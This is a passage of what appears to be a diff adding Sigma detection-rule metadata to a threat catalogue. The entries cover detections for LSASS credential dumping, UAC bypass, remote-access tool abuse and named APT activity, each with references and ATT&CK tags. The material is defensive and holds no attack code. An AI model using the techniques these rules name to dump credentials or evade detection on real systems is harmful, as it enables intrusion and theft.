Dumping by Pypykatz", + "meta": { + "refs": [ + "https://github.com/skelsec/pypykatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_pypykatz_cred_dump_lsass_access.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2021/08/03", + "filename": "proc_access_win_pypykatz_cred_dump_lsass_access.yml", + "author": "Bhabesh Raj", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags 0x410 and 0x01410 (spin-off of similar rule)", + "uuid": "678dfc63-fefb-47a5-a04c-26bcf8cc9f65", + "value": "Rare GrantedAccess Flags on LSASS Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_rare_proc_access_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2022/03/13", + "filename": "proc_access_win_rare_proc_access_lsass.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags", + "uuid": "a18dd26b-6450-46de-8c91-9659150cf088", + "value": "Suspicious GrantedAccess Flags on LSASS Access", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2021/11/22", + "filename": "proc_access_win_susp_proc_access_lsass.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects process access to LSASS memory with suspicious access flags and from a suspicious folder", + "uuid": "fa34b441-961a-42fa-a100-ecc28c886725", + "value": "LSASS Access from Program in Suspicious Folder", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights", + "https://onedrive.live.com/view.aspx?resid=D026B4699190F1E6!2843&ithint=file%2cpptx&app=PowerPoint&authkey=!AMvCRTKB_V1J5ow", + "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "http://security-research.dyndns.org/pub/slides/FIRST2017/FIRST-2017_Tom-Ueltschi_Sysmon_FINAL_notes.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_susp_proc_access_lsass_susp_source.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0002" + ], + "creation_date": "2021/11/27", + "filename": "proc_access_win_susp_proc_access_lsass_susp_source.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate software accessing LSASS process for legitimate reason" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects when a process, such as mimikatz, accesses the memory of svchost to dump credentials", + "uuid": "174afcfa-6e40-4ae9-af64-496546389294", + "value": "SVCHOST Credential Dump", + "meta": { + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_svchost_cred_dump.yml" + ], + "tags": [ + "attack.t1548" + ], + "creation_date": "2021/04/30", + "filename": "proc_access_win_svchost_cred_dump.yml", + "author": "Florent Labouyrie", + "level": "high", + "falsepositive": [ + "Non identified legit exectubale" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of UAC Bypass using a WoW64 logger DLL hijack (UACMe 30)", + "uuid": "4f6c43e2-f989-4ea5-bcd8-843b49a0317c", + "value": "UAC Bypass Using WOW64 Logger DLL Hijack", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_access/proc_access_win_uac_bypass_wow64_logger.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/23", + "filename": "proc_access_win_uac_bypass_wow64_logger.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_access", + "logsource.product": "windows" + } + }, + { + "description": "7-Zip through 21.07 on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.", + "uuid": "9a4ccd1a-3526-4d99-b980-9f9c5d3a6ee3", + "value": "Suspicious 7zip Subprocess", + "meta": { + "refs": [ + "https://github.com/kagancapar/CVE-2022-29072", + "https://twitter.com/kagancapar/status/1515219358234161153", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_7zip_cve_2022_29072.yml" + ], + "tags": [ + "cve.2022.29072" + ], + "creation_date": "2022/04/17", + "filename": "proc_creation_win_7zip_cve_2022_29072.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detection of unusual child processes by different system processes", + "uuid": "d522eca2-2973-4391-a3e0-ef0374321dae", + "value": "Abused Debug Privilege by Arbitrary Parent Processes", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-74-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_debug_privilege.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548" + ], + "creation_date": "2020/10/28", + "filename": "proc_creation_win_abusing_debug_privilege.yml", + "author": "Semanur Guneysu @semanurtg, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", + "uuid": "f548a603-c9f2-4c89-b511-b089f7e94549", + "value": "Abusing Windows Telemetry For Persistence", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_abusing_windows_telemetry_for_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1112", + "attack.t1053" + ], + "creation_date": "2020/09/29", + "filename": "proc_creation_win_abusing_windows_telemetry_for_persistence.yml", + "author": "Sreeman", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify privileges", + "uuid": "c625d754-6a3d-4f65-9c9a-536aea960d37", + "value": "Accesschk Usage To Check Privileges", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", + "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", + "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", + "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_accesschk_usage_after_priv_escalation.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.001" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_accesschk_usage_after_priv_escalation.yml", + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community, Nasreddine Bencherchali (modified)", + "level": "medium", + "falsepositive": [ + "System administrator Usage" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.", + "uuid": "bef37fa2-f205-4a7b-b484-0759bfd5f86f", + "value": "Advanced IP Scanner", + "meta": { + "refs": [ + "https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/", + "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html", + "https://labs.f-secure.com/blog/prelude-to-ransomware-systembc", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer", + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_ip_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046", + "attack.t1135" + ], + "creation_date": "2020/05/12", + "filename": "proc_creation_win_advanced_ip_scanner.yml", + "author": "@ROxPinTeddy, Nasreddine Bencherchali @nas_bench", + "level": "medium", + "falsepositive": [ + "Legitimate administrative use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Advanced Port Scanner.", + "uuid": "54773c5f-f1cc-4703-9126-2f797d96a69d", + "value": "Advanced Port Scanner", + "meta": { + "refs": [ + "https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_advanced_port_scanner.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046", + "attack.t1135" + ], + "creation_date": "2021/12/18", + "filename": "proc_creation_win_advanced_port_scanner.yml", + "author": "Nasreddine Bencherchali @nas_bench", + "level": "medium", + "falsepositive": [ + "Legitimate administrative use", + "Tools with similar commandline (very rare)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", + "uuid": "7f43c430-5001-4f8b-aaa9-c3b88f18fa5c", + "value": "Execute From Alternate Data Streams", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_alternate_data_streams.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.004" + ], + "creation_date": "2021/09/01", + "filename": "proc_creation_win_alternate_data_streams.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule looks for Windows Installer service (msiexec.exe) spawned command line and/or powershell", + "uuid": "1e53dd56-8d83-4eb4-a43e-b790a05510aa", + "value": "Always Install Elevated MSI Spawned Cmd And Powershell", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-50-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_always_install_elevated_msi_spawned_cmd_powershell.yml", + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This rule looks for Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege", + "uuid": "cd951fdc-4b2f-47f5-ba99-a33bf61e3770", + "value": "Always Install Elevated Windows Installer", + "meta": { + "refs": [ + "https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_always_install_elevated_windows_installer.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_always_install_elevated_windows_installer.yml", + "author": "Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community", + "level": "medium", + "falsepositive": [ + "System administrator usage", + "Anti virus products" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "b52e84a3-029e-4529-b09b-71d19dd27e94", + "value": "Use of Anydesk Remote Access Software", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/02/11", + "filename": "proc_creation_win_anydesk.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects piping the password to an anydesk instance via CMD and the '--set-password' flag", + "uuid": "b1377339-fda6-477a-b455-ac0923f9ec2c", + "value": "AnyDesk Inline Piped Password", + "meta": { + "refs": [ + "https://redcanary.com/blog/misbehaving-rats/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_piped_password_via_cli.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_anydesk_piped_password_via_cli.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate piping of the password to anydesk", + "Some FP could occure with similar tools that uses the same command line '--set-password'" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "AnyDesk Remote Desktop silent installation can be used by attacker to gain remote access.", + "uuid": "114e7f1c-f137-48c8-8f54-3088c24ce4b9", + "value": "AnyDesk Silent Installation", + "meta": { + "refs": [ + "https://twitter.com/TheDFIRReport/status/1423361119926816776?s=20", + "https://support.anydesk.com/Automatic_Deployment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_silent_install.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2021/08/06", + "filename": "proc_creation_win_anydesk_silent_install.yml", + "author": "J\u00e1n Tren\u010dansk\u00fd", + "level": "high", + "falsepositive": [ + "Legitimate deployment of AnyDesk" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", + "uuid": "065b00ca-5d5c-4557-ac95-64a6d0b64d86", + "value": "Use of Anydesk Remote Access Software from Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_anydesk_susp_folder.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1219" + ], + "creation_date": "2022/05/20", + "filename": "proc_creation_win_anydesk_susp_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of AnyDesk from a non-standard folder" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", + "uuid": "e1118a8f-82f5-44b3-bb6b-8a284e5df602", + "value": "Scheduled Task WScript VBScript", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_actinium_persistence.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053", + "attack.t1053.005" + ], + "creation_date": "2022/02/07", + "filename": "proc_creation_win_apt_actinium_persistence.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This method detects a suspicious PowerShell command line combination as used by APT29 in a campaign against U.S. think tanks.", + "uuid": "033fe7d6-66d1-4240-ac6b-28908009c71f", + "value": "APT29", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/", + "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_apt29_thinktanks.yml" + ], + "tags": [ + "attack.execution", + "attack.g0016", + "attack.t1059.001" + ], + "creation_date": "2018/12/04", + "filename": "proc_creation_win_apt_apt29_thinktanks.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects activity that could be related to Baby Shark malware", + "uuid": "2b30fa36-3a18-402f-a22d-bf4ce2189f35", + "value": "Baby Shark Activity", + "meta": { + "refs": [ + "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_babyshark.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.003", + "attack.t1059.001", + "attack.discovery", + "attack.t1012", + "attack.defense_evasion", + "attack.t1218.005" + ], + "creation_date": "2019/02/24", + "filename": "proc_creation_win_apt_babyshark.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Russian group activity as described in Global Threat Report 2019 by Crowdstrike", + "uuid": "b83f5166-9237-4b5e-9cd4-7b5d52f4d8ee", + "value": "Judgement Panda Credential Access Activity", + "meta": { + "refs": [ + "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bear_activity_gtr19.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1552.001", + "attack.t1003.003" + ], + "creation_date": "2019/02/21", + "filename": "proc_creation_win_apt_bear_activity_gtr19.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious DLL loading from AppData Local path as described in BlueMashroom report", + "uuid": "bd70d3f8-e60e-4d25-89f0-0b5a9cff20e0", + "value": "BlueMashroom DLL Load", + "meta": { + "refs": [ + "https://www.virusbulletin.com/conference/vb2019/abstracts/apt-cases-exploiting-vulnerabilities-region-specific-software", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_bluemashroom.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/10/02", + "filename": "proc_creation_win_apt_bluemashroom.yml", + "author": "Florian Roth, Tim Shelton", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Chafer activity attributed to OilRig as reported in Nyotron report in March 2018", + "uuid": "ce6e34ca-966d-41c9-8d93-5b06c8b97a06", + "value": "Chafer Activity", + "meta": { + "refs": [ + "https://nyotron.com/nyotron-discovers-next-generation-oilrig-attacks/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_chafer_mar18.yml" + ], + "tags": [ + "attack.persistence", + "attack.g0049", + "attack.t1053.005", + "attack.s0111", + "attack.t1543.003", + "attack.defense_evasion", + "attack.t1112", + "attack.command_and_control", + "attack.t1071.004" + ], + "creation_date": "2018/03/23", + "filename": "proc_creation_win_apt_chafer_mar18.yml", + "author": "Florian Roth, Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmiexec vbs version execution by wscript or cscript", + "uuid": "966e4016-627f-44f7-8341-f394905c361f", + "value": "WMIExec VBS Script", + "meta": { + "refs": [ + "https://web.archive.org/web/20180725233601/https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_cloudhopper.yml" + ], + "tags": [ + "attack.execution", + "attack.g0045", + "attack.t1059.005" + ], + "creation_date": "2017/04/07", + "filename": "proc_creation_win_apt_cloudhopper.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects CrackMapExecWin Activity as Described by NCSC", + "uuid": "04d9079e-3905-4b70-ad37-6bdf11304965", + "value": "CrackMapExecWin", + "meta": { + "refs": [ + "https://www.ncsc.gov.uk/alerts/hostile-state-actors-compromising-uk-organisations-focus-engineering-and-industrial-control", + "https://attack.mitre.org/software/S0488/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_dragonfly.yml" + ], + "tags": [ + "attack.g0035", + "attack.credential_access", + "attack.discovery", + "attack.t1110", + "attack.t1087" + ], + "creation_date": "2018/04/08", + "filename": "proc_creation_win_apt_dragonfly.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Elise backdoor acitivty as used by APT32", + "uuid": "e507feb7-5f73-4ef6-a970-91bb6f6d744f", + "value": "Elise Backdoor", + "meta": { + "refs": [ + "https://community.rsa.com/community/products/netwitness/blog/2018/02/13/lotus-blossom-continues-asean-targeting", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_elise.yml" + ], + "tags": [ + "attack.g0030", + "attack.g0050", + "attack.s0081", + "attack.execution", + "attack.t1059.003" + ], + "creation_date": "2018/01/31", + "filename": "proc_creation_win_apt_elise.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of DLL side-loading malware used by threat group Emissary Panda aka APT27", + "uuid": "9aa01d62-7667-4d3b-acb8-8cb5103e2014", + "value": "Emissary Panda Malware SLLauncher", + "meta": { + "refs": [ + "https://app.any.run/tasks/579e7587-f09d-4aae-8b07-472833262965", + "https://twitter.com/cyb3rops/status/1168863899531132929", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_emissarypanda_sep19.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2018/09/03", + "filename": "proc_creation_win_apt_emissarypanda_sep19.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects EmpireMonkey APT reported Activity", + "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", + "value": "Empire Monkey", + "meta": { + "refs": [ + "https://app.any.run/tasks/a4107649-8cb0-41af-ad75-113152d4d57b", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/04/02", + "filename": "proc_creation_win_apt_empiremonkey.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Very Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a specific tool and export used by EquationGroup", + "uuid": "d465d1d8-27a2-4cca-9621-a800f37cf72e", + "value": "Equation Group DLL_U Load", + "meta": { + "refs": [ + "https://github.com/adamcaudill/EquationGroupLeak/search?utf8=%E2%9C%93&q=dll_u&type=", + "https://securelist.com/apt-slingshot/84312/", + "https://twitter.com/cyb3rops/status/972186477512839170", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_equationgroup_dll_u_load.yml" + ], + "tags": [ + "attack.g0020", + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2019/03/04", + "filename": "proc_creation_win_apt_equationgroup_dll_u_load.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Golden Chickens deployment method as used by Evilnum in report published in July 2020", + "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", + "value": "EvilNum Golden Chickens Deployment via OCX Files", + "meta": { + "refs": [ + "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "https://app.any.run/tasks/33d37fdf-158d-4930-aa68-813e1d5eb8ba/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_evilnum_jul20.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011" + ], + "creation_date": "2020/07/10", + "filename": "proc_creation_win_apt_evilnum_jul20.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "uuid": "18739897-21b1-41da-8ee4-5b786915a676", + "value": "GALLIUM Artefacts", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212", + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2020/02/07", + "filename": "proc_creation_win_apt_gallium.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", + "value": "GALLIUM Artefacts", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1212", + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2020/02/07", + "filename": "proc_creation_win_apt_gallium_sha1.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", + "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599", + "value": "Suspicious UltraVNC Execution", + "meta": { + "refs": [ + "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + 